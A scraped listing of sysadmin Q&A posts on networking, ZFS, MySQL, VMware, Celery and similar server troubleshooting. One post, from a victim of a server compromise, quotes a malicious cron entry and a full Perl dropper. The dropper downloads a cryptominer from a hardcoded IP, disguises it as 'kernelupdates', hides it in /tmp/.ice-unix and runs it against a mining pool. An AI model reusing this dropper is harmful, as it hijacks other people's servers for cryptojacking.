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  • Performing mechanical movements using computer

    - by Vi
    How to make a computer (in particular, my laptop) to perform some mechanical movements without buying anything $5, soldering things inside computer or creating big sophisticated circuits? Traditionally CD-ROM tray is used to make computer do some movement IRL by, for example, SSH command, but in laptop tray is one-shot (unless manually reloaded) and also not very comfortable [mis]usage. Some assistance circuits can be in use too, but not complex. For example, there is a little motor that can work on USB power. Devices in my computer: DVD-ROM tray: one-time push. USB power: continuous power to the motor or LEDS or relay that turns on something powerful. Audio card. 3 outputs (modprobe alsa model=test can set Mic and Line-in as additional output). One controllable DC output (microphone) that can power up LED and some electronic (may be even mechanic?) relay. Also with sophisticated additional circuiting can control a lot of devices with a good precision. Both input and output support. Probably the most useful object in computer for radio ham. Modem. Don't know about this much, it doesn't work because of hsfmodem crashes kernel if memory is = 1GB. May be it's "pick up" and "hang up" can turn on and off power taken from USB port? Video card. VGA port? S-Video port? Will them be useful? Backlight. Tunable, but probably unuseful. CardBus (or some) slot. Nothing interesting for the task probably (is it?). AC adapter and battery. Probably nothing programmable here. /* My AC adapter already have additional jacks to connect extra devics */ Keyboard. No use. Touchpad. Good sensor (synclient -m 1), but no output. Various LEDs inside laptop. Probably too weak and requires soldering. Fans inside laptop. Poor control over them, requires soldering and dangerous to tinker. HDD (internal and external) that can be spin down and up (hdparm -Y, cat /dev/ubb). But connecting anything serially with it's power line makes HDD underpowered... And too complex. Is something are missed? Any ideas how to use described components? Any other ideas? May be there are easily available /* in developing countries */ cheap devices like "enhanced multimeters" that are controllable from computer and can provide configurable output and measure current and other things? Things to aid pushing many physical buttons with computer. Isn't this a simple idea and implementation and a lot of use in good hands?

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  • http request via iptables --to-destination ip redirect results in no response

    - by Wouter Vegter
    I have two Ubuntu servers with each having their own ip addresses. Let's call them server1 and server2, having respectively ip 1.1.1.1 and 2.2.2.2 I have a nginx running on server2. The sole purpose I want server1 to have is to redirect all incoming http (so port 80) requests to server2 without clients noticing that their request is being redirected. I tried the following command on server1: iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 2.2.2.2 But when I enter 1.1.1.1 in my browser I get no respond: the page keeps trying to load without giving any message or error message (I get a time-out after 2-3 mins). But when I do remove the above iptables rule I immediately do get a "page not found error" when I enter 1.1.1.1 in my browser; so something is working but not as it should: when I enter 1.1.1.1 I want the html page to load that is hosted on 2.2.2.2 Because when i enter 2.2.2.2 in my browser I do see the webpage loaded. Could anyone please help me with this? I am searching quite some time (on severfault & Google) on this now so that's why I ask. Many thanks for reading my question! Update: Thank you all for you information. Unfortunately I still get no response I have the following iptables configuration: root@ip-10-48-238-216:/home/ubuntu# sudo iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination root@ip-10-48-238-216:/home/ubuntu# sudo iptables -t nat -L Chain PREROUTING (policy ACCEPT) target prot opt source destination DNAT tcp -- anywhere anywhere tcp dpt:www to:2.2.2.2 Chain OUTPUT (policy ACCEPT) target prot opt source destination Chain POSTROUTING (policy ACCEPT) target prot opt source destination When i run tcpdump and do request via chrome to 1.1.1.1 i get the following root@ip-10-48-238-216:/home/ubuntu# sudo tcpdump -i eth0 port 80 -vv tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 13:56:18.346625 IP (tos 0x0, ttl 52, id 12055, offset 0, flags [DF], proto TCP (6), length 60) 212-123-161-112.ip.telfort.nl.16386 ip-10-48-238-216.eu-west-1.compute.internal.www: Flags [S], cksum 0xb398 (correct), seq 2639758575, win 5840, options [mss 1460,sackOK,TS val 1223672 ecr 0,nop,wscale 6], length 0 13:56:18.346662 IP (tos 0x0, ttl 51, id 12055, offset 0, flags [DF], proto TCP (6), length 60) 212-123-161-112.ip.telfort.nl.16386 ww1dc1.shopreme.com.www: Flags [S], cksum 0x9ee0 (correct), seq 2639758575, win 5840, options [mss 1460,sackOK,TS val 1223672 ecr 0,nop,wscale 6], length 0 13:56:18.598747 IP (tos 0x0, ttl 52, id 10138, offset 0, flags [DF], proto TCP (6), length 60) 212-123-161-112.ip.telfort.nl.16387 ip-10-48-238-216.eu-west-1.compute.internal.www: Flags [S], cksum 0xac40 (correct), seq 2645658541, win 5840, options [mss 1460,sackOK,TS val 1223735 ecr 0,nop,wscale 6], length 0 13:56:18.598777 IP (tos 0x0, ttl 51, id 10138, offset 0, flags [DF], proto TCP (6), length 60) 212-123-161-112.ip.telfort.nl.16387 ww1dc1.shopreme.com.www: Flags [S], cksum 0x9788 (correct), seq 2645658541, win 5840, options [mss 1460,sackOK,TS val 1223735 ecr 0,nop,wscale 6], length 0 ^C 4 packets captured 4 packets received by filter 0 packets dropped by kernel the mentioned address relate to the following 212-123-161-112.ip.telfort.nl.16386 : my personal computer ww1dc1.shopreme.com.www : dns of server2 (2.2.2.2) ip-10-48-238-216.eu-west-1.compute.internal.www : amazon web services ec2 internal address of server1 (1.1.1.1) However, the tcpdump log on server2 (2.2.2.2) stays empty and I get no response back in my browser. I am able to ping from server1 to server2. And net.ipv4.ip_forward is set to 1 and so is /proc/sys/net/ipv4/ip_forward Could there be anything else that is missing?

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  • Since upgrading to Solaris 11, my ARC size has consistently targeted 119MB, despite having 30GB RAM. What? Why?

    - by growse
    I ran a NAS/SAN box on Solaris 11 Express before Solaris 11 was released. The box is an HP X1600 with an attached D2700. In all, 12x 1TB 7200 SATA disks, 12x 300GB 10k SAS disks in separate zpools. Total RAM is 30GB. Services provided are CIFS, NFS and iSCSI. All was well, and I had a ZFS memory usage graph looking like this: A fairly healthy Arc size of around 23GB - making use of the available memory for caching. However, I then upgraded to Solaris 11 when that came out. Now, my graph looks like this: Partial output of arc_summary.pl is: System Memory: Physical RAM: 30701 MB Free Memory : 26719 MB LotsFree: 479 MB ZFS Tunables (/etc/system): ARC Size: Current Size: 915 MB (arcsize) Target Size (Adaptive): 119 MB (c) Min Size (Hard Limit): 64 MB (zfs_arc_min) Max Size (Hard Limit): 29677 MB (zfs_arc_max) It's targetting 119MB while sitting at 915MB. It's got 30GB to play with. Why? Did they change something? Edit To clarify, arc_summary.pl is Ben Rockwood's, and the relevent lines generating the above stats are: my $mru_size = ${Kstat}->{zfs}->{0}->{arcstats}->{p}; my $target_size = ${Kstat}->{zfs}->{0}->{arcstats}->{c}; my $arc_min_size = ${Kstat}->{zfs}->{0}->{arcstats}->{c_min}; my $arc_max_size = ${Kstat}->{zfs}->{0}->{arcstats}->{c_max}; my $arc_size = ${Kstat}->{zfs}->{0}->{arcstats}->{size}; The Kstat entries are there, I'm just getting odd values out of them. Edit 2 I've just re-measured the arc size with arc_summary.pl - I've verified these numbers with kstat: System Memory: Physical RAM: 30701 MB Free Memory : 26697 MB LotsFree: 479 MB ZFS Tunables (/etc/system): ARC Size: Current Size: 744 MB (arcsize) Target Size (Adaptive): 119 MB (c) Min Size (Hard Limit): 64 MB (zfs_arc_min) Max Size (Hard Limit): 29677 MB (zfs_arc_max) The thing that strikes me is that the Target Size is 119MB. Looking at the graph, it's targeted the exact same value (124.91M according to cacti, 119M according to arc_summary.pl - think the difference is just 1024/1000 rounding issues) ever since Solaris 11 was installed. It looks like the kernel's making zero effort to shift the target size to anything different. The current size is fluctuating as the needs of the system (large) fight with the target size, and it appears equilibrium is between 700 and 1000MB. So the question is now a little more pointed - why is Solaris 11 hard setting my ARC target size to 119MB, and how do I change it? Should I raise the min size to see what happens? I've stuck the output of kstat -n arcstats over at http://pastebin.com/WHPimhfg Edit 3 Ok, weirdness now. I know flibflob mentioned that there was a patch to fix this. I haven't applied this patch yet (still sorting out internal support issues) and I've not applied any other software updates. Last thursday, the box crashed. As in, completely stopped responding to everything. When I rebooted it, it came back up fine, but here's what my graph now looks like. It seems to have fixed the problem. This is proper la la land stuff now. I've literally no idea what's going on. :(

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  • Memcache on ubuntu server lucid and ruby 1.9.1

    - by Thiago
    I'm trying to set up a memcache server on the above setup. I'm getting the following error: /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:443:in `load_missing_constant': uninitialized constant MemCache (NameError) from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:80:in `const_missing_with_dependencies' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:92:in `const_missing' from /root/voicegateway/vendor/plugins/workling/lib/workling/clients/memcache_queue_client.rb:18:in `<class:MemcacheQueueClient>' from /root/voicegateway/vendor/plugins/workling/lib/workling/clients/memcache_queue_client.rb:14:in `<module:Clients>' from /root/voicegateway/vendor/plugins/workling/lib/workling/clients/memcache_queue_client.rb:13:in `<module:Workling>' from /root/voicegateway/vendor/plugins/workling/lib/workling/clients/memcache_queue_client.rb:12:in `<top (required)>' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `require' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `block in require' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:521:in `new_constants_in' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `require' from /root/voicegateway/vendor/plugins/workling/lib/workling/remote/runners/client_runner.rb:2:in `<top (required)>' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `require' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `block in require' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:521:in `new_constants_in' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `require' from /root/voicegateway/vendor/plugins/workling/lib/workling/remote/runners/starling_runner.rb:1:in `<top (required)>' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `require' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `block in require' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:521:in `new_constants_in' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `require' from /root/voicegateway/vendor/plugins/workling/lib/workling/remote.rb:3:in `<top (required)>' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:380:in `load' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:380:in `block in load_file' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:521:in `new_constants_in' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:379:in `load_file' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:259:in `require_or_load' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:425:in `load_missing_constant' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:80:in `const_missing_with_dependencies' from /root/voicegateway/config/environments/development.rb:20:in `block in load_environment' from /var/lib/gems/1.9.1/gems/rails-2.3.8/lib/initializer.rb:386:in `eval' from /var/lib/gems/1.9.1/gems/rails-2.3.8/lib/initializer.rb:386:in `block in load_environment' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/core_ext/kernel/reporting.rb:11:in `silence_warnings' from /var/lib/gems/1.9.1/gems/rails-2.3.8/lib/initializer.rb:379:in `load_environment' from /var/lib/gems/1.9.1/gems/rails-2.3.8/lib/initializer.rb:137:in `process' from /var/lib/gems/1.9.1/gems/rails-2.3.8/lib/initializer.rb:113:in `run' from /root/voicegateway/config/environment.rb:9:in `<top (required)>' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `require' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `block in require' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:521:in `new_constants_in' from /var/lib/gems/1.9.1/gems/activesupport-2.3.8/lib/active_support/dependencies.rb:156:in `require' from /var/lib/gems/1.9.1/gems/rails-2.3.8/lib/commands/server.rb:84:in `<top (required)>' from ./server:3:in `require' from ./server:3:in `<main>' But memcache-client 1.8.3 is on the gem list. What's the problem?

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  • ls hangs for a certain directory

    - by Jakobud
    There is a particular directory (/var/www), that when I run ls (with or without some options), the command hangs and never completes. There is only about 10-15 files and directories in /var/www. Mostly just text files. Here is some investigative info: [me@server www]$ df . Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_dev-lv_root 50G 19G 29G 40% / [me@server www]$ df -i . Filesystem Inodes IUsed IFree IUse% Mounted on /dev/mapper/vg_dev-lv_root 3.2M 435K 2.8M 14% / find works fine. Also I can type in cd /var/www/ and press TAB before pressing enter and it will successfully tab-completion list of all files/directories in there: [me@server www]$ cd /var/www/ cgi-bin/ create_vhost.sh html/ manual/ phpMyAdmin/ scripts/ usage/ conf/ error/ icons/ mediawiki/ rackspace sqlbuddy/ vhosts/ [me@server www]$ cd /var/www/ I have had to kill my terminal sessions several times because of the ls hanging: [me@server ~]$ ps | grep ls gdm 6215 0.0 0.0 488152 2488 ? S<sl Jan18 0:00 /usr/bin/pulseaudio --start --log-target=syslog root 23269 0.0 0.0 117724 1088 ? D 18:24 0:00 ls -Fh --color=always -l root 23477 0.0 0.0 117724 1088 ? D 18:34 0:00 ls -Fh --color=always -l root 23579 0.0 0.0 115592 820 ? D 18:36 0:00 ls -Fh --color=always root 23634 0.0 0.0 115592 816 ? D 18:38 0:00 ls -Fh --color=always root 23740 0.0 0.0 117724 1088 ? D 18:40 0:00 ls -Fh --color=always -l me 23770 0.0 0.0 103156 816 pts/6 S+ 18:41 0:00 grep ls kill doesn't seem to have any affect on the processes, even as sudo. What else should I do to investigate this problem? It just randomly started happening today. UPDATE dmesg is a big list of things, mostly related to an external USB HDD that I've mounted too many times and the max mount count has been reached, but that is an un-related problem I think. Near the bottom of dmesg I'm seeing this: INFO: task ls:23579 blocked for more than 120 seconds. "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ls D ffff88041fc230c0 0 23579 23505 0x00000080 ffff8801688a1bb8 0000000000000086 0000000000000000 ffffffff8119d279 ffff880406d0ea20 ffff88007e2c2268 ffff880071fe80c8 00000003ae82967a ffff880407169ad8 ffff8801688a1fd8 0000000000010518 ffff880407169ad8 Call Trace: [<ffffffff8119d279>] ? __find_get_block+0xa9/0x200 [<ffffffff814c97ae>] __mutex_lock_slowpath+0x13e/0x180 [<ffffffff814c964b>] mutex_lock+0x2b/0x50 [<ffffffff8117a4d3>] do_lookup+0xd3/0x220 [<ffffffff8117b145>] __link_path_walk+0x6f5/0x1040 [<ffffffff8117a47d>] ? do_lookup+0x7d/0x220 [<ffffffff8117bd1a>] path_walk+0x6a/0xe0 [<ffffffff8117beeb>] do_path_lookup+0x5b/0xa0 [<ffffffff8117cb57>] user_path_at+0x57/0xa0 [<ffffffff81178986>] ? generic_readlink+0x76/0xc0 [<ffffffff8117cb62>] ? user_path_at+0x62/0xa0 [<ffffffff81171d3c>] vfs_fstatat+0x3c/0x80 [<ffffffff81258ae5>] ? _atomic_dec_and_lock+0x55/0x80 [<ffffffff81171eab>] vfs_stat+0x1b/0x20 [<ffffffff81171ed4>] sys_newstat+0x24/0x50 [<ffffffff810d40a2>] ? audit_syscall_entry+0x272/0x2a0 [<ffffffff81013172>] system_call_fastpath+0x16/0x1b And also, strace ls /var/www/ spits out a whole BUNCH of information. I don't know what is useful here... The last handful of lines: ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0 ioctl(1, TIOCGWINSZ, {ws_row=68, ws_col=145, ws_xpixel=0, ws_ypixel=0}) = 0 stat("/var/www/", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 open("/var/www/", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3 fcntl(3, F_GETFD) = 0x1 (flags FD_CLOEXEC) getdents(3, /* 16 entries */, 32768) = 488 getdents(3, /* 0 entries */, 32768) = 0 close(3) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 9), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3093b18000 write(1, "cgi-bin conf create_vhost.sh\te"..., 125cgi-bin conf create_vhost.sh error html icons manual mediawiki phpMyAdmin rackspace scripts sqlbuddy usage vhosts ) = 125 close(1) = 0 munmap(0x7f3093b18000, 4096) = 0 close(2) = 0 exit_group(0) = ?

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  • Bridged virtual interface is not available or visible to ifconfig.

    - by Omniwombat
    Hello all. I'm running Ubuntu 9.04, kernel 2.6.28-18, and vmware-server 2.0.1. I'm attempting to setup a virtual linux machine to use a bridged interface rather than NAT or host-only. Both NAT and host-only work just fine. When running vmware-config.pl, I set /dev/vmnet0 to bridge eth0, /dev/vmnet1 to host-only, and /dev/vmnet8 to NAT. When I run ifconfig -a I see the physical interface (eth0), vmnet1 and vmnet8 both of which are up and have IP addresses assigned to them. I also see other various interfaces that are not relevant here. In the web console, when I ask that the guest machine's network card be bridged, it states that a bridged setup is "Not available" and shows the disabled device icon. Inside the guest machine, I do have an eth0 interface which I can set to anything I like, however it can't see my external network, or the host. I do see errors in my vmware/hostd.log which state: "The network bridge on device vmnet0 is not running. The virtual machine will not be able to communicate with the host or with other machines on your network" which confirms the problem. vmnet-bridge is running, and I see the following in my process table: /usr/bin/vmnet-bridge -d /var/run/vmnet-bridge-0.pid -n 0 -i eth0 I confirm that the /var/run/vmnet-bridge-0.pid file is there and that it points to the correct process. I saw this question relating to Ubuntu 9.04 and bridged interfaces, in which the poster determined that the vsock library was not getting built due to a flaw in the vmware-config.pl script. I applied the patch, reran the script, and confirm that vsock.ko and vsock.o are in my /lib directory structure. vsock does show up in an lsmod. My /etc/vmware directory has /vmnet1 and /vmnet8 subdirectories. They contain configuration utilities for running DHCP and nat type services as expected. There is no vmnet0 subdirectory. My /etc/vmware/netmap.conf file DOES show entries for vmnet0; both the name and the device as I configured it from the script. My /dev directory contains devices vmnet0 through vmnet9. They have major device number 119, and minor device numbers 0 through 9. /proc/net/dev shows statistics for vmnet1 and vmnet8, but not vmnet0. I have a /proc/vmnet directory, but it's empty. When I start or stop the vmware service with /etc/init.d/vmware start, I see the following: Starting VMware services: Virtual machine monitor done Virtual machine communication interface done VM communication interface socket family: done Virtual ethernet done Bridged networking on /dev/vmnet0 done Host-only networking on /dev/vmnet1 (background) done DHCP server on /dev/vmnet1 done Host-only networking on /dev/vmnet8 (background) done DHCP server on /dev/vmnet8 done NAT service on /dev/vmnet8 done VMware Server Authentication Daemon (background) done Shared Memory Available done Starting VMware management services: VMware Server Host Agent (background) done VMware Virtual Infrastructure Web Access Starting VMware autostart virtual machines: Virtual machines done Nothing appears to be wrong there. What n00b thing am I doing such that vmnet0 and only vmnet0 does not show up in the interface list?

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  • Long connection times from PHP to MySQL on EC2

    - by Erik Giberti
    I'm having an intermittent issue connecting to a database slave with InnoDB. Intermittently I get connections taking longer than 2 seconds. These servers are hosted on Amazon's EC2. The app server is PHP 5.2/Apache running on Ubuntu. The DB slave is running Percona's XtraDB 5.1 on Ubuntu 9.10. It's using an EBS Raid array for the data storage. We already use skip name resolve and bind to address 0.0.0.0. This is a stub of the PHP code that's failing $tmp = mysqli_init(); $start_time = microtime(true); $tmp-options(MYSQLI_OPT_CONNECT_TIMEOUT, 2); $tmp-real_connect($DB_SERVERS[$server]['server'], $DB_SERVERS[$server]['username'], $DB_SERVERS[$server]['password'], $DB_SERVERS[$server]['schema'], $DB_SERVERS[$server]['port']); if(mysqli_connect_errno()){ $timer = microtime(true) - $start_time; mail($errors_to,'DB connection error',$timer); } There's more than 300Mb available on the DB server for new connections and the server is nowhere near the max allowed (60 of 1,200). Loading on both servers is < 2 on 4 core m1.xlarge instances. Some highlights from the mysql config max_connections = 1200 thread_stack = 512K thread_cache_size = 1024 thread_concurrency = 16 innodb-file-per-table innodb_additional_mem_pool_size = 16M innodb_buffer_pool_size = 13G Any help on tracing the source of the slowdown is appreciated. [EDIT] I have been updating the sysctl values for the network but they don't seem to be fixing the problem. I made the following adjustments on both the database and application servers. net.ipv4.tcp_window_scaling = 1 net.ipv4.tcp_sack = 0 net.ipv4.tcp_timestamps = 0 net.ipv4.tcp_fin_timeout = 20 net.ipv4.tcp_keepalive_time = 180 net.ipv4.tcp_max_syn_backlog = 1280 net.ipv4.tcp_synack_retries = 1 net.core.rmem_max = 16777216 net.core.wmem_max = 16777216 net.ipv4.tcp_rmem = 4096 87380 16777216 net.ipv4.tcp_wmem = 4096 87380 16777216 [EDIT] Per jaimieb's suggestion, I added some tracing and captured the following data using time. This server handles about 51 queries/second at this the time of day. The connection error was raised once (at 13:06:36) during the 3 minute window outlined below. Since there was 1 failure and roughly 9,200 successful connections, I think this isn't going to produce anything meaningful in terms of reporting. Script: date /root/database_server.txt (time mysql -h database_Server -D schema_name -u appuser -p apppassword -e '') /dev/null 2 /root/database_server.txt Results: === Application Server 1 === Mon Feb 22 13:05:01 EST 2010 real 0m0.008s user 0m0.001s sys 0m0.000s Mon Feb 22 13:06:01 EST 2010 real 0m0.007s user 0m0.002s sys 0m0.000s Mon Feb 22 13:07:01 EST 2010 real 0m0.008s user 0m0.000s sys 0m0.001s === Application Server 2 === Mon Feb 22 13:05:01 EST 2010 real 0m0.009s user 0m0.000s sys 0m0.002s Mon Feb 22 13:06:01 EST 2010 real 0m0.009s user 0m0.001s sys 0m0.003s Mon Feb 22 13:07:01 EST 2010 real 0m0.008s user 0m0.000s sys 0m0.001s === Database Server === Mon Feb 22 13:05:01 EST 2010 real 0m0.016s user 0m0.000s sys 0m0.010s Mon Feb 22 13:06:01 EST 2010 real 0m0.006s user 0m0.010s sys 0m0.000s Mon Feb 22 13:07:01 EST 2010 real 0m0.016s user 0m0.000s sys 0m0.010s [EDIT] Per a suggestion received on a LinkedIn question, I tried setting the back_log value higher. We had been running the default value (50) and increased it to 150. We also raised the kernel value /proc/sys/net/core/somaxconn (maximum socket connections) to 256 on both the application and database server from the default 128. We did see some elevation in processor utilization as a result but still received connection timeouts.

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  • OSError : [Errno 38] Function not implemented - Django Celery implementation

    - by Jordan Messina
    I installed django-celery and I tried to start up the worker server but I get an OSError that a function isn't implemented. I'm running CentOS release 5.4 (Final) on a VPS: . broker -> amqp://guest@localhost:5672/ . queues -> . celery -> exchange:celery (direct) binding:celery . concurrency -> 4 . loader -> djcelery.loaders.DjangoLoader . logfile -> [stderr]@WARNING . events -> OFF . beat -> OFF [2010-07-22 17:10:01,364: WARNING/MainProcess] Traceback (most recent call last): [2010-07-22 17:10:01,364: WARNING/MainProcess] File "manage.py", line 11, in <module> [2010-07-22 17:10:01,364: WARNING/MainProcess] execute_manager(settings) [2010-07-22 17:10:01,364: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/django/core/management/__init__.py", line 438, in execute_manager [2010-07-22 17:10:01,364: WARNING/MainProcess] utility.execute() [2010-07-22 17:10:01,364: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/django/core/management/__init__.py", line 379, in execute [2010-07-22 17:10:01,365: WARNING/MainProcess] self.fetch_command(subcommand).run_from_argv(self.argv) [2010-07-22 17:10:01,365: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/django/core/management/base.py", line 191, in run_from_argv [2010-07-22 17:10:01,365: WARNING/MainProcess] self.execute(*args, **options.__dict__) [2010-07-22 17:10:01,365: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/django/core/management/base.py", line 218, in execute [2010-07-22 17:10:01,365: WARNING/MainProcess] output = self.handle(*args, **options) [2010-07-22 17:10:01,365: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/django_celery-2.0.0-py2.6.egg/djcelery/management/commands/celeryd.py", line 22, in handle [2010-07-22 17:10:01,366: WARNING/MainProcess] run_worker(**options) [2010-07-22 17:10:01,366: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/celery-2.0.1-py2.6.egg/celery/bin/celeryd.py", line 385, in run_worker [2010-07-22 17:10:01,366: WARNING/MainProcess] return Worker(**options).run() [2010-07-22 17:10:01,366: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/celery-2.0.1-py2.6.egg/celery/bin/celeryd.py", line 218, in run [2010-07-22 17:10:01,366: WARNING/MainProcess] self.run_worker() [2010-07-22 17:10:01,366: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/celery-2.0.1-py2.6.egg/celery/bin/celeryd.py", line 312, in run_worker [2010-07-22 17:10:01,367: WARNING/MainProcess] worker.start() [2010-07-22 17:10:01,367: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/celery-2.0.1-py2.6.egg/celery/worker/__init__.py", line 206, in start [2010-07-22 17:10:01,367: WARNING/MainProcess] component.start() [2010-07-22 17:10:01,367: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/celery-2.0.1-py2.6.egg/celery/concurrency/processes/__init__.py", line 54, in start [2010-07-22 17:10:01,367: WARNING/MainProcess] maxtasksperchild=self.maxtasksperchild) [2010-07-22 17:10:01,367: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/celery-2.0.1-py2.6.egg/celery/concurrency/processes/pool.py", line 448, in __init__ [2010-07-22 17:10:01,368: WARNING/MainProcess] self._setup_queues() [2010-07-22 17:10:01,368: WARNING/MainProcess] File "/usr/local/lib/python2.6/site-packages/celery-2.0.1-py2.6.egg/celery/concurrency/processes/pool.py", line 564, in _setup_queues [2010-07-22 17:10:01,368: WARNING/MainProcess] self._inqueue = SimpleQueue() [2010-07-22 17:10:01,368: WARNING/MainProcess] File "/usr/local/lib/python2.6/multiprocessing/queues.py", line 315, in __init__ [2010-07-22 17:10:01,368: WARNING/MainProcess] self._rlock = Lock() [2010-07-22 17:10:01,368: WARNING/MainProcess] File "/usr/local/lib/python2.6/multiprocessing/synchronize.py", line 117, in __init__ [2010-07-22 17:10:01,369: WARNING/MainProcess] SemLock.__init__(self, SEMAPHORE, 1, 1) [2010-07-22 17:10:01,369: WARNING/MainProcess] File "/usr/local/lib/python2.6/multiprocessing/synchronize.py", line 49, in __init__ [2010-07-22 17:10:01,369: WARNING/MainProcess] sl = self._semlock = _multiprocessing.SemLock(kind, value, maxvalue) [2010-07-22 17:10:01,369: WARNING/MainProcess] OSError [2010-07-22 17:10:01,369: WARNING/MainProcess] : [2010-07-22 17:10:01,369: WARNING/MainProcess] [Errno 38] Function not implemented Am I just totally screwed and should use a new kernel that has this implemented or is there an easy way to resolve this?

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  • ./kernelupdates 100% cpu usage

    - by Vaibhav Panmand
    I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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  • unattended-upgrades does not reboot

    - by Cheiron
